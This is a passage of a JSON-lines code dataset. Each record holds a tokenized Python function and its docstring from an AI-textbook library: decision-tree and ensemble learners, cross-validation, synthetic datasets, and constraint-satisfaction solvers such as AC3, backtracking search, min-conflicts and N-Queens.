information_gain(attr, examples):<EOL><INDENT>\"<STR_LIT>\"<EOL>def I(examples):<EOL><INDENT>return information_content([count(target, v, examples)<EOL>for v in values[target]])<EOL><DEDENT>N = float(len(examples))<EOL>remainder = sum((len(examples_i) / N) * I(examples_i)<EOL>for (v, examples_i) in split_by(attr, examples))<EOL>return I(examples) - remainder<EOL><DEDENT>def split_by(attr, examples):<EOL><INDENT>\"<STR_LIT>\"<EOL>return [(v, [e for e in examples if e[attr] == v])<EOL>for v in values[attr]]<EOL><DEDENT>return decision_tree_learning(dataset.examples, dataset.inputs)<EOL>", "docstring": "[Fig. 18.5]", "id": "f1680:m8"}
{"signature": "def information_content(values):", "body": "probabilities = normalize(removeall(<NUM_LIT:0>, values))<EOL>return sum(-p * log2(p) for p in probabilities)<EOL>", "docstring": "Number of bits to represent the probability distribution in values.", "id": "f1680:m9"}
{"signature": "def DecisionListLearner(dataset):", "body": "def decision_list_learning(examples):<EOL><INDENT>if not examples:<EOL><INDENT>return [(True, False)]<EOL><DEDENT>t, o, examples_t = find_examples(examples)<EOL>if not t:<EOL><INDENT>raise Failure<EOL><DEDENT>return [(t, o)] + decision_list_learning(examples - examples_t)<EOL><DEDENT>def find_examples(examples):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>unimplemented()<EOL><DEDENT>def passes(example, test):<EOL><INDENT>\"<STR_LIT>\"<EOL>unimplemented()<EOL><DEDENT>def predict(example):<EOL><INDENT>\"<STR_LIT>\"<EOL>for test, outcome in predict.decision_list:<EOL><INDENT>if passes(example, test):<EOL><INDENT>return outcome<EOL><DEDENT><DEDENT><DEDENT>predict.decision_list = decision_list_learning(set(dataset.examples))<EOL>return predict<EOL>", "docstring": "[Fig. 18.11]", "id": "f1680:m10"}
{"signature": "def NeuralNetLearner(dataset, sizes):", "body": "activations = [[<NUM_LIT:0.0> for i in range(n)] for n in sizes]<EOL>weights = []<EOL>def predict(example):<EOL><INDENT>unimplemented()<EOL><DEDENT>return predict<EOL>", "docstring": "Layered feed-forward network.", "id": "f1680:m11"}
{"signature": "def Linearlearner(dataset):", "body": "unimplemented()<EOL>", "docstring": "Fit a linear model to the data.", "id": "f1680:m13"}
{"signature": "def EnsembleLearner(learners):", "body": "def train(dataset):<EOL><INDENT>predictors = [learner(dataset) for learner in learners]<EOL>def predict(example):<EOL><INDENT>return mode(predictor(example) for predictor in predictors)<EOL><DEDENT>return predict<EOL><DEDENT>return train<EOL>", "docstring": "Given a list of learning algorithms, have them vote.", "id": "f1680:m14"}
{"signature": "def AdaBoost(L, K):", "body": "def train(dataset):<EOL><INDENT>examples, target = dataset.examples, dataset.target<EOL>N = len(examples)<EOL>epsilon = <NUM_LIT:1.>/(<NUM_LIT:2>*N)<EOL>w = [<NUM_LIT:1.>/N] * N<EOL>h, z = [], []<EOL>for k in range(K):<EOL><INDENT>h_k = L(dataset, w)<EOL>h.append(h_k)<EOL>error = sum(weight for example, weight in zip(examples, w)<EOL>if example[target] != h_k(example))<EOL>error = clip(error, epsilon, <NUM_LIT:1>-epsilon)<EOL>for j, example in enumerate(examples):<EOL><INDENT>if example[target] == h_k(example):<EOL><INDENT>w[j] *= error / (<NUM_LIT:1.> - error)<EOL><DEDENT><DEDENT>w = normalize(w)<EOL>z.append(math.log((<NUM_LIT:1.> - error) / error))<EOL><DEDENT>return WeightedMajority(h, z)<EOL><DEDENT>return train<EOL>", "docstring": "[Fig. 18.34]", "id": "f1680:m15"}
{"signature": "def WeightedMajority(predictors, weights):", "body": "def predict(example):<EOL><INDENT>return weighted_mode((predictor(example) for predictor in predictors),<EOL>weights)<EOL><DEDENT>return predict<EOL>", "docstring": "Return a predictor that takes a weighted vote.", "id": "f1680:m16"}
{"signature": "def weighted_mode(values, weights):", "body": "totals = defaultdict(int)<EOL>for v, w in zip(values, weights):<EOL><INDENT>totals[v] += w<EOL><DEDENT>return max(list(totals.keys()), key=totals.get)<EOL>", "docstring": "Return the value with the greatest total weight.\n    >>> weighted_mode('abbaa', [1,2,3,1,2])\n    'b", "id": "f1680:m17"}
{"signature": "def WeightedLearner(unweighted_learner):", "body": "def train(dataset, weights):<EOL><INDENT>return unweighted_learner(replicated_dataset(dataset, weights))<EOL><DEDENT>return train<EOL>", "docstring": "Given a learner that takes just an unweighted dataset, return\n    one that takes also a weight for each example. [p. 749 footnote 14]", "id": "f1680:m18"}
{"signature": "def replicated_dataset(dataset, weights, n=None):", "body": "n = n or len(dataset.examples)<EOL>result = copy.copy(dataset)<EOL>result.examples = weighted_replicate(dataset.examples, weights, n)<EOL>return result<EOL>", "docstring": "Copy dataset, replicating each example in proportion to its weight.", "id": "f1680:m19"}
{"signature": "def weighted_replicate(seq, weights, n):", "body": "assert len(seq) == len(weights)<EOL>weights = normalize(weights)<EOL>wholes = [int(w*n) for w in weights]<EOL>fractions = [(w*n) % <NUM_LIT:1> for w in weights]<EOL>return (flatten([x] * nx for x, nx in zip(seq, wholes))<EOL>+ weighted_sample_with_replacement(seq, fractions, n - sum(wholes)))<EOL>", "docstring": "Return n selections from seq, with the count of each element of\n    seq proportional to the corresponding weight (filling in fractions\n    randomly).\n    >>> weighted_replicate('ABC', [1,2,1], 4)\n    ['A', 'B', 'B', 'C']", "id": "f1680:m20"}
{"signature": "def cross_validation(learner, dataset, k=<NUM_LIT:10>, trials=<NUM_LIT:1>):", "body": "if k is None:<EOL><INDENT>k = len(dataset.examples)<EOL><DEDENT>if trials > <NUM_LIT:1>:<EOL><INDENT>return mean([cross_validation(learner, dataset, k, trials=<NUM_LIT:1>)<EOL>for t in range(trials)])<EOL><DEDENT>else:<EOL><INDENT>n = len(dataset.examples)<EOL>random.shuffle(dataset.examples)<EOL>return mean([train_and_test(learner, dataset, i*(n/k), (i+<NUM_LIT:1>)*(n/k))<EOL>for i in range(k)])<EOL><DEDENT>", "docstring": "Do k-fold cross_validate and return their mean.\n    That is, keep out 1/k of the examples for testing on each of k runs.\n    Shuffle the examples first; If trials>1, average over several shuffles.", "id": "f1680:m24"}
{"signature": "def leave1out(learner, dataset):", "body": "return cross_validation(learner, dataset, k=len(dataset.examples))<EOL>", "docstring": "Leave one out cross-validation over the dataset.", "id": "f1680:m25"}
{"signature": "def RestaurantDataSet(examples=None):", "body": "return DataSet(name='<STR_LIT>', target='<STR_LIT>', examples=examples,<EOL>attrnames='<STR_LIT>'<EOL>+ '<STR_LIT>')<EOL>", "docstring": "Build a DataSet of Restaurant waiting examples. [Fig. 18.3]", "id": "f1680:m27"}
{"signature": "def SyntheticRestaurant(n=<NUM_LIT:20>):", "body": "def gen():<EOL><INDENT>example = list(map(random.choice, restaurant.values))<EOL>example[restaurant.target] = Fig[<NUM_LIT>,<NUM_LIT:2>](example)<EOL>return example<EOL><DEDENT>return RestaurantDataSet([gen() for i in range(n)])<EOL>", "docstring": "Generate a DataSet with n examples.", "id": "f1680:m29"}
{"signature": "def Majority(k, n):", "body": "examples = []<EOL>for i in range(n):<EOL><INDENT>bits = [random.choice([<NUM_LIT:0>, <NUM_LIT:1>]) for i in range(k)]<EOL>bits.append(int(sum(bits) > k/<NUM_LIT:2>))<EOL>examples.append(bits)<EOL><DEDENT>return DataSet(name=\"<STR_LIT>\", examples=examples)<EOL>", "docstring": "Return a DataSet with n k-bit examples of the majority problem:\n    k random bits followed by a 1 if more than half the bits are 1, else 0.", "id": "f1680:m30"}
{"signature": "def Parity(k, n, name=\"<STR_LIT>\"):", "body": "examples = []<EOL>for i in range(n):<EOL><INDENT>bits = [random.choice([<NUM_LIT:0>, <NUM_LIT:1>]) for i in range(k)]<EOL>bits.append(sum(bits) % <NUM_LIT:2>)<EOL>examples.append(bits)<EOL><DEDENT>return DataSet(name=name, examples=examples)<EOL>", "docstring": "Return a DataSet with n k-bit examples of the parity problem:\n    k random bits followed by a 1 if an odd number of bits are 1, else 0.", "id": "f1680:m31"}
{"signature": "def Xor(n):", "body": "return Parity(<NUM_LIT:2>, n, name=\"<STR_LIT>\")<EOL>", "docstring": "Return a DataSet with n examples of 2-input xor.", "id": "f1680:m32"}
{"signature": "def ContinuousXor(n):", "body": "examples = []<EOL>for i in range(n):<EOL><INDENT>x, y = [random.uniform(<NUM_LIT:0.0>, <NUM_LIT>) for i in '<STR_LIT>']<EOL>examples.append([x, y, int(x) != int(y)])<EOL><DEDENT>return DataSet(name=\"<STR_LIT>\", examples=examples)<EOL>", "docstring": "2 inputs are chosen uniformly from (0.0 .. 2.0]; output is xor of ints.", "id": "f1680:m33"}
{"signature": "def compare(algorithms=[PluralityLearner, NaiveBayesLearner,<EOL>NearestNeighborLearner, DecisionTreeLearner],<EOL>datasets=[iris, orings, zoo, restaurant, SyntheticRestaurant(<NUM_LIT:20>),<EOL>Majority(<NUM_LIT:7>, <NUM_LIT:100>), Parity(<NUM_LIT:7>, <NUM_LIT:100>), Xor(<NUM_LIT:100>)],<EOL>k=<NUM_LIT:10>, trials=<NUM_LIT:1>):", "body": "print_table([[a.__name__.replace('<STR_LIT>','<STR_LIT>')] +<EOL>[cross_validation(a, d, k, trials) for d in datasets]<EOL>for a in algorithms],<EOL>header=['<STR_LIT>'] + [d.name[<NUM_LIT:0>:<NUM_LIT:7>] for d in datasets], numfmt='<STR_LIT>')<EOL>", "docstring": "Compare various learners on various datasets using cross-validation.\n    Print results as a table.", "id": "f1680:m34"}
{"signature": "def __init__(self, examples=None, attrs=None, attrnames=None, target=-<NUM_LIT:1>,<EOL>inputs=None, values=None, distance=mean_boolean_error,<EOL>name='<STR_LIT>', source='<STR_LIT>', exclude=()):", "body": "update(self, name=name, source=source, values=values, distance=distance)<EOL>if isinstance(examples, str):<EOL><INDENT>self.examples = parse_csv(examples)<EOL><DEDENT>elif examples is None:<EOL><INDENT>self.examples = parse_csv(DataFile(name+'<STR_LIT>').read())<EOL><DEDENT>else:<EOL><INDENT>self.examples = examples<EOL><DEDENT>if not attrs and self.examples:<EOL><INDENT>attrs = list(range(len(self.examples[<NUM_LIT:0>])))<EOL><DEDENT>self.attrs = attrs<EOL>if isinstance(attrnames, str):<EOL><INDENT>self.attrnames = attrnames.split()<EOL><DEDENT>else:<EOL><INDENT>self.attrnames = attrnames or attrs<EOL><DEDENT>self.setproblem(target, inputs=inputs, exclude=exclude)<EOL>", "docstring": "Accepts any of DataSet's fields.  Examples can also be a\n        string or file from which to parse examples using parse_csv.\n        Optional parameter: exclude, as documented in .setproblem().\n        >>> DataSet(examples='1, 2, 3')\n        <DataSet(): 1 examples, 3 attributes>", "id": "f1680:c0:m0"}
{"signature": "def setproblem(self, target, inputs=None, exclude=()):", "body": "self.target = self.attrnum(target)<EOL>exclude = list(map(self.attrnum, exclude))<EOL>if inputs:<EOL><INDENT>self.inputs = removeall(self.target, inputs)<EOL><DEDENT>else:<EOL><INDENT>self.inputs = [a for a in self.attrs<EOL>if a != self.target and a not in exclude]<EOL><DEDENT>if not self.values:<EOL><INDENT>self.values = list(map(unique, list(zip(*self.examples))))<EOL><DEDENT>self.check_me()<EOL>", "docstring": "Set (or change) the target and/or inputs.\n        This way, one DataSet can be used multiple ways. inputs, if specified,\n        is a list of attributes, or specify exclude as a list of attributes\n        to not use in inputs. Attributes can be -n .. n, or an attrname.\n        Also computes the list of possible values, if that wasn't done yet.", "id": "f1680:c0:m1"}
{"signature": "def check_me(self):", "body": "assert len(self.attrnames) == len(self.attrs)<EOL>assert self.target in self.attrs<EOL>assert self.target not in self.inputs<EOL>assert set(self.inputs).issubset(set(self.attrs))<EOL>list(map(self.check_example, self.examples))<EOL>", "docstring": "Check that my fields make sense.", "id": "f1680:c0:m2"}
{"signature": "def add_example(self, example):", "body": "self.check_example(example)<EOL>self.examples.append(example)<EOL>", "docstring": "Add an example to the list of examples, checking it first.", "id": "f1680:c0:m3"}
{"signature": "def check_example(self, example):", "body": "if self.values:<EOL><INDENT>for a in self.attrs:<EOL><INDENT>if example[a] not in self.values[a]:<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>(example[a], self.attrnames[a], example))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Raise ValueError if example has any invalid values.", "id": "f1680:c0:m4"}
{"signature": "def attrnum(self, attr):", "body": "if attr < <NUM_LIT:0>:<EOL><INDENT>return len(self.attrs) + attr<EOL><DEDENT>elif isinstance(attr, str):<EOL><INDENT>return self.attrnames.index(attr)<EOL><DEDENT>else:<EOL><INDENT>return attr<EOL><DEDENT>", "docstring": "Returns the number used for attr, which can be a name, or -n .. n-1.", "id": "f1680:c0:m5"}
{"signature": "def sanitize(self, example):", "body": "return [attr_i if i in self.inputs else None<EOL>for i, attr_i in enumerate(example)]<EOL>", "docstring": "Return a copy of example, with non-input attributes replaced by None.", "id": "f1680:c0:m6"}
{"signature": "def __init__(self, observations=[], default=<NUM_LIT:0>):", "body": "update(self, dictionary={}, n_obs=<NUM_LIT:0.0>, default=default, sampler=None)<EOL>for o in observations:<EOL><INDENT>self.add(o)<EOL><DEDENT>", "docstring": "Create a distribution, and optionally add in some observations.\n        By default this is an unsmoothed distribution, but saying default=1,\n        for example, gives you add-one smoothing.", "id": "f1680:c1:m0"}
{"signature": "def add(self, o):", "body": "self.smooth_for(o)<EOL>self.dictionary[o] += <NUM_LIT:1><EOL>self.n_obs += <NUM_LIT:1><EOL>self.sampler = None<EOL>", "docstring": "Add an observation o to the distribution.", "id": "f1680:c1:m1"}
{"signature": "def smooth_for(self, o):", "body": "if o not in self.dictionary:<EOL><INDENT>self.dictionary[o] = self.default<EOL>self.n_obs += self.default<EOL>self.sampler = None<EOL><DEDENT>", "docstring": "Include o among the possible observations, whether or not\n        it's been observed yet.", "id": "f1680:c1:m2"}
{"signature": "def __getitem__(self, item):", "body": "self.smooth_for(item)<EOL>return self.dictionary[item] / self.n_obs<EOL>", "docstring": "Return an estimate of the probability of item.", "id": "f1680:c1:m3"}
{"signature": "def top(self, n):", "body": "return heapq.nlargest(n, [(v, k) for (k, v) in list(self.dictionary.items())])<EOL>", "docstring": "Return (count, obs) tuples for the n most frequent observations.", "id": "f1680:c1:m4"}
{"signature": "def sample(self):", "body": "if self.sampler is None:<EOL><INDENT>self.sampler = weighted_sampler(list(self.dictionary.keys()),<EOL>list(self.dictionary.values()))<EOL><DEDENT>return self.sampler()<EOL>", "docstring": "Return a random sample from the distribution.", "id": "f1680:c1:m5"}
{"signature": "def __init__(self, attr, attrname=None, branches=None):", "body": "update(self, attr=attr, attrname=attrname or attr,<EOL>branches=branches or {})<EOL>", "docstring": "Initialize by saying what attribute this node tests.", "id": "f1680:c2:m0"}
{"signature": "def __call__(self, example):", "body": "attrvalue = example[self.attr]<EOL>return self.branches[attrvalue](example)<EOL>", "docstring": "Given an example, classify it using the attribute and the branches.", "id": "f1680:c2:m1"}
{"signature": "def add(self, val, subtree):", "body": "self.branches[val] = subtree<EOL>", "docstring": "Add a branch.  If self.attr = val, go to the given subtree.", "id": "f1680:c2:m2"}
{"signature": "def AC3(csp, queue=None, removals=None):", "body": "if queue is None:<EOL><INDENT>queue = [(Xi, Xk) for Xi in csp.vars for Xk in csp.neighbors[Xi]]<EOL><DEDENT>csp.support_pruning()<EOL>while queue:<EOL><INDENT>(Xi, Xj) = queue.pop()<EOL>if revise(csp, Xi, Xj, removals):<EOL><INDENT>if not csp.curr_domains[Xi]:<EOL><INDENT>return False<EOL><DEDENT>for Xk in csp.neighbors[Xi]:<EOL><INDENT>if Xk != Xi:<EOL><INDENT>queue.append((Xk, Xi))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "[Fig. 6.3]", "id": "f1681:m0"}
{"signature": "def revise(csp, Xi, Xj, removals):", "body": "revised = False<EOL>for x in csp.curr_domains[Xi][:]:<EOL><INDENT>if every(lambda y: not csp.constraints(Xi, x, Xj, y),<EOL>csp.curr_domains[Xj]):<EOL><INDENT>csp.prune(Xi, x, removals)<EOL>revised = True<EOL><DEDENT><DEDENT>return revised<EOL>", "docstring": "Return true if we remove a value.", "id": "f1681:m1"}
{"signature": "def first_unassigned_variable(assignment, csp):", "body": "return find_if(lambda var: var not in assignment, csp.vars)<EOL>", "docstring": "The default variable order.", "id": "f1681:m2"}
{"signature": "def mrv(assignment, csp):", "body": "return argmin_random_tie(<EOL>[v for v in csp.vars if v not in assignment],<EOL>lambda var: num_legal_values(csp, var, assignment))<EOL>", "docstring": "Minimum-remaining-values heuristic.", "id": "f1681:m3"}
{"signature": "def unordered_domain_values(var, assignment, csp):", "body": "return csp.choices(var)<EOL>", "docstring": "The default value order.", "id": "f1681:m5"}
{"signature": "def lcv(var, assignment, csp):", "body": "return sorted(csp.choices(var),<EOL>key=lambda val: csp.nconflicts(var, val, assignment))<EOL>", "docstring": "Least-constraining-values heuristic.", "id": "f1681:m6"}
{"signature": "def forward_checking(csp, var, value, assignment, removals):", "body": "for B in csp.neighbors[var]:<EOL><INDENT>if B not in assignment:<EOL><INDENT>for b in csp.curr_domains[B][:]:<EOL><INDENT>if not csp.constraints(var, value, B, b):<EOL><INDENT>csp.prune(B, b, removals)<EOL><DEDENT><DEDENT>if not csp.curr_domains[B]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Prune neighbor values inconsistent with var=value.", "id": "f1681:m8"}
{"signature": "def mac(csp, var, value, assignment, removals):", "body": "return AC3(csp, [(X, var) for X in csp.neighbors[var]], removals)<EOL>", "docstring": "Maintain arc consistency.", "id": "f1681:m9"}
{"signature": "def backtracking_search(csp,<EOL>select_unassigned_variable = first_unassigned_variable,<EOL>order_domain_values = unordered_domain_values,<EOL>inference = no_inference):", "body": "def backtrack(assignment):<EOL><INDENT>if len(assignment) == len(csp.vars):<EOL><INDENT>return assignment<EOL><DEDENT>var = select_unassigned_variable(assignment, csp)<EOL>for value in order_domain_values(var, assignment, csp):<EOL><INDENT>if <NUM_LIT:0> == csp.nconflicts(var, value, assignment):<EOL><INDENT>csp.assign(var, value, assignment)<EOL>removals = csp.suppose(var, value)<EOL>if inference(csp, var, value, assignment, removals):<EOL><INDENT>result = backtrack(assignment)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>csp.restore(removals)<EOL><DEDENT><DEDENT>csp.unassign(var, assignment)<EOL>return None<EOL><DEDENT>result = backtrack({})<EOL>assert result is None or csp.goal_test(result)<EOL>return result<EOL>", "docstring": "[Fig. 6.5]\n    >>> backtracking_search(australia) is not None\n    True\n    >>> backtracking_search(australia, select_unassigned_variable=mrv) is not None\n    True\n    >>> backtracking_search(australia, order_domain_values=lcv) is not None\n    True\n    >>> backtracking_search(australia, select_unassigned_variable=mrv, order_domain_values=lcv) is not None\n    True\n    >>> backtracking_search(australia, inference=forward_checking) is not None\n    True\n    >>> backtracking_search(australia, inference=mac) is not None\n    True\n    >>> backtracking_search(usa, select_unassigned_variable=mrv, order_domain_values=lcv, inference=mac) is not None\n    True", "id": "f1681:m10"}
{"signature": "def min_conflicts(csp, max_steps=<NUM_LIT>):", "body": "<EOL>csp.current = current = {}<EOL>for var in csp.vars:<EOL><INDENT>val = min_conflicts_value(csp, var, current)<EOL>csp.assign(var, val, current)<EOL><DEDENT>for i in range(max_steps):<EOL><INDENT>conflicted = csp.conflicted_vars(current)<EOL>if not conflicted:<EOL><INDENT>return current<EOL><DEDENT>var = random.choice(conflicted)<EOL>val = min_conflicts_value(csp, var, current)<EOL>csp.assign(var, val, current)<EOL><DEDENT>return None<EOL>", "docstring": "Solve a CSP by stochastic hillclimbing on the number of conflicts.", "id": "f1681:m11"}
{"signature": "def min_conflicts_value(csp, var, current):", "body": "return argmin_random_tie(csp.domains[var],<EOL>lambda val: csp.nconflicts(var, val, current))<EOL>", "docstring": "Return the value that will give var the least number of conflicts.\n    If there is a tie, choose at random.", "id": "f1681:m12"}
{"signature": "def tree_csp_solver(csp):", "body": "n = len(csp.vars)<EOL>assignment = {}<EOL>root = csp.vars[<NUM_LIT:0>]<EOL>X, parent = topological_sort(csp.vars, root)<EOL>for Xj in reversed(X):<EOL><INDENT>if not make_arc_consistent(parent[Xj], Xj, csp):<EOL><INDENT>return None<EOL><DEDENT><DEDENT>for Xi in X:<EOL><INDENT>if not csp.curr_domains[Xi]:<EOL><INDENT>return None<EOL><DEDENT>assignment[Xi] = csp.curr_domains[Xi][<NUM_LIT:0>]<EOL><DEDENT>return assignment<EOL>", "docstring": "[Fig. 6.11]", "id": "f1681:m13"}
{"signature": "def different_values_constraint(A, a, B, b):", "body": "return a != b<EOL>", "docstring": "A constraint saying two neighboring variables must differ in value.", "id": "f1681:m16"}
{"signature": "def MapColoringCSP(colors, neighbors):", "body": "if isinstance(neighbors, str):<EOL><INDENT>neighbors = parse_neighbors(neighbors)<EOL><DEDENT>return CSP(list(neighbors.keys()), UniversalDict(colors), neighbors,<EOL>different_values_constraint)<EOL>", "docstring": "Make a CSP for the problem of coloring a map with different colors\n    for any two adjacent regions.  Arguments are a list of colors, and a\n    dict of {region: [neighbor,...]} entries.  This dict may also be\n    specified as a string of the form defined by parse_neighbors.", "id": "f1681:m17"}
{"signature": "def parse_neighbors(neighbors, vars=[]):", "body": "dict = DefaultDict([])<EOL>for var in vars:<EOL><INDENT>dict[var] = []<EOL><DEDENT>specs = [spec.split('<STR_LIT::>') for spec in neighbors.split('<STR_LIT:;>')]<EOL>for (A, Aneighbors) in specs:<EOL><INDENT>A = A.strip()<EOL>dict.setdefault(A, [])<EOL>for B in Aneighbors.split():<EOL><INDENT>dict[A].append(B)<EOL>dict[B].append(A)<EOL><DEDENT><DEDENT>return dict<EOL>", "docstring": "Convert a string of the form 'X: Y Z; Y: Z' into a dict mapping\n    regions to neighbors.  The syntax is a region name followed by a ':'\n    followed by zero or more region names, followed by ';', repeated for\n    each region name.  If you say 'X: Y' you don't need 'Y: X'.\n    >>> parse_neighbors('X: Y Z; Y: Z')\n    {'Y': ['X', 'Z'], 'X': ['Y', 'Z'], 'Z': ['X', 'Y']}", "id": "f1681:m18"}
{"signature": "def queen_constraint(A, a, B, b):", "body": "return A == B or (a != b and A + a != B + b and A - a != B - b)<EOL>", "docstring": "Constraint is satisfied (true) if A, B are really the same variable,\n    or if they are not in the same row, down diagonal, or up diagonal.", "id": "f1681:m19"}
{"signature": "def Zebra():", "body": "Colors = '<STR_LIT>'.split()<EOL>Pets = '<STR_LIT>'.split()<EOL>Drinks = '<STR_LIT>'.split()<EOL>Countries = '<STR_LIT>'.split()<EOL>Smokes = '<STR_LIT>'.split()<EOL>vars = Colors + Pets + Drinks + Countries + Smokes<EOL>domains = {}<EOL>for var in vars:<EOL><INDENT>domains[var] = list(range(<NUM_LIT:1>, <NUM_LIT:6>))<EOL><DEDENT>domains['<STR_LIT>'] = [<NUM_LIT:1>]<EOL>domains['<STR_LIT>'] = [<NUM_LIT:3>]<EOL>neighbors = parse_neighbors(\"\"\"<STR_LIT>\"\"\", vars)<EOL>for type in [Colors, Pets, Drinks, Countries, Smokes]:<EOL><INDENT>for A in type:<EOL><INDENT>for B in type:<EOL><INDENT>if A != B:<EOL><INDENT>if B not in neighbors[A]: neighbors[A].append(B)<EOL>if A not in neighbors[B]: neighbors[B].append(A)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def zebra_constraint(A, a, B, b, recurse=<NUM_LIT:0>):<EOL><INDENT>same = (a == b)<EOL>next_to = abs(a - b) == <NUM_LIT:1><EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return next_to<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return next_to<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return next_to<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return same<EOL>if A == '<STR_LIT>' and B == '<STR_LIT>': return (a - <NUM_LIT:1>) == b<EOL>if recurse == <NUM_LIT:0>: return zebra_constraint(B, b, A, a, <NUM_LIT:1>)<EOL>if ((A in Colors and B in Colors) or<EOL>(A in Pets and B in Pets) or<EOL>(A in Drinks and B in Drinks) or<EOL>(A in Countries and B in Countries) or<EOL>(A in Smokes and B in Smokes)): return not same<EOL>raise '<STR_LIT:error>'<EOL><DEDENT>return CSP(vars, domains, neighbors, zebra_constraint)<EOL>", "docstring": "Return an instance of the Zebra Puzzle.", "id": "f1681:m21"}
{"signature": "def __init__(self, vars, domains, neighbors, constraints):", "body": "vars = vars or list(domains.keys())<EOL>update(self, vars=vars, domains=domains,<EOL>neighbors=neighbors, constraints=constraints,<EOL>initial=(), curr_domains=None, nassigns=<NUM_LIT:0>)<EOL>", "docstring": "Construct a CSP problem. If vars is empty, it becomes domains.keys().", "id": "f1681:c0:m0"}
{"signature": "def assign(self, var, val, assignment):", "body": "assignment[var] = val<EOL>self.nassigns += <NUM_LIT:1><EOL>", "docstring": "Add {var: val} to assignment; Discard the old value if any.", "id": "f1681:c0:m1"}
{"signature": "def unassign(self, var, assignment):", "body": "if var in assignment:<EOL><INDENT>del assignment[var]<EOL><DEDENT>", "docstring": "Remove {var: val} from assignment.\n        DO NOT call this if you are changing a variable to a new value;\n        just call assign for that.", "id": "f1681:c0:m2"}
{"signature": "def nconflicts(self, var, val, assignment):", "body": "<EOL>def conflict(var2):<EOL><INDENT>return (var2 in assignment<EOL>and not self.constraints(var, val, var2, assignment[var2]))<EOL><DEDENT>return count_if(conflict, self.neighbors[var])<EOL>", "docstring": "Return the number of conflicts var=val has with other variables.", "id": "f1681:c0:m3"}
{"signature": "def display(self, assignment):", "body": "<EOL>print('<STR_LIT>', self, '<STR_LIT>', assignment)<EOL>", "docstring": "Show a human-readable representation of the CSP.", "id": "f1681:c0:m4"}
{"signature": "def actions(self, state):", "body": "if len(state) == len(self.vars):<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>assignment = dict(state)<EOL>var = find_if(lambda v: v not in assignment, self.vars)<EOL>return [(var, val) for val in self.domains[var]<EOL>if self.nconflicts(var, val, assignment) == <NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Return a list of applicable actions: nonconflicting\n        assignments to an unassigned variable.", "id": "f1681:c0:m5"}
{"signature": "def result(self, state, xxx_todo_changeme):", "body": "(var, val) = xxx_todo_changeme<EOL>return state + ((var, val),)<EOL>", "docstring": "Perform an action and return the new state.", "id": "f1681:c0:m6"}
{"signature": "def support_pruning(self):", "body": "if self.curr_domains is None:<EOL><INDENT>self.curr_domains = dict((v, list(self.domains[v]))<EOL>for v in self.vars)<EOL><DEDENT>", "docstring": "Make sure we can prune values from domains. (We want to pay\n        for this only if we use it.)", "id": "f1681:c0:m8"}
{"signature": "def suppose(self, var, value):", "body": "self.support_pruning()<EOL>removals = [(var, a) for a in self.curr_domains[var] if a != value]<EOL>self.curr_domains[var] = [value]<EOL>return removals<EOL>", "docstring": "Start accumulating inferences from assuming var=value.", "id": "f1681:c0:m9"}
{"signature": "def prune(self, var, value, removals):", "body": "self.curr_domains[var].remove(value)<EOL>if removals is not None: removals.append((var, value))<EOL>", "docstring": "Rule out var=value.", "id": "f1681:c0:m10"}
{"signature": "def choices(self, var):", "body": "return (self.curr_domains or self.domains)[var]<EOL>", "docstring": "Return all values for var that aren't currently ruled out.", "id": "f1681:c0:m11"}
{"signature": "def infer_assignment(self):", "body": "self.support_pruning()<EOL>return dict((v, self.curr_domains[v][<NUM_LIT:0>])<EOL>for v in self.vars if <NUM_LIT:1> == len(self.curr_domains[v]))<EOL>", "docstring": "Return the partial assignment implied by the current inferences.", "id": "f1681:c0:m12"}
{"signature": "def restore(self, removals):", "body": "for B, b in removals:<EOL><INDENT>self.curr_domains[B].append(b)<EOL><DEDENT>", "docstring": "Undo a supposition and all inferences from it.", "id": "f1681:c0:m13"}
{"signature": "def conflicted_vars(self, current):", "body": "return [var for var in self.vars<EOL>if self.nconflicts(var, current[var], current) > <NUM_LIT:0>]<EOL>", "docstring": "Return a list of variables in current assignment that are in conflict", "id": "f1681:c0:m14"}
{"signature": "def __init__(self, n):", "body": "CSP.__init__(self, list(range(n)), UniversalDict(list(range(n))),<EOL>UniversalDict(list(range(n))), queen_constraint)<EOL>update(self, rows=[<NUM_LIT:0>]*n, ups=[<NUM_LIT:0>]*(<NUM_LIT:2>*n - <NUM_LIT:1>), downs=[<NUM_LIT:0>]*(<NUM_LIT:2>*n - <NUM_LIT:1>))<EOL>", "docstring": "Initialize data structures for n Queens.", "id": "f1681:c2:m0"}
{"signature": "def nconflicts(self, var, val, assignment):", "body": "n = len(self.vars)<EOL>c = self.rows[val] + self.downs[var+val] + self.ups[var-val+n-<NUM_LIT:1>]<EOL>if assignment.get(var, None) == val:<EOL><INDENT>c -= <NUM_LIT:3><EOL><DEDENT>return c<EOL>", "docstring": "The number of conflicts, as recorded with each assignment.\n        Count conflicts in row and in up, down diagonals. If there\n        is a queen there, it can't conflict with itself, so subtract 3.", "id": "f1681:c2:m1"}
{"signature": "def assign(self, var, val, assignment):", "body": "oldval = assignment.get(var, None)<EOL>if val != oldval:<EOL><INDENT>if oldval is not None: <EOL><INDENT>self.record_conflict(assignment, var, oldval, -<NUM_LIT:1>)<EOL><DEDENT>self.record_conflict(assignment, var, val, +<NUM_LIT:1>)<EOL>CSP.assign(self, var, val, assignment)<EOL><DEDENT>", "docstring": "Assign var, and keep track of conflicts.", "id": "f1681:c2:m2"}
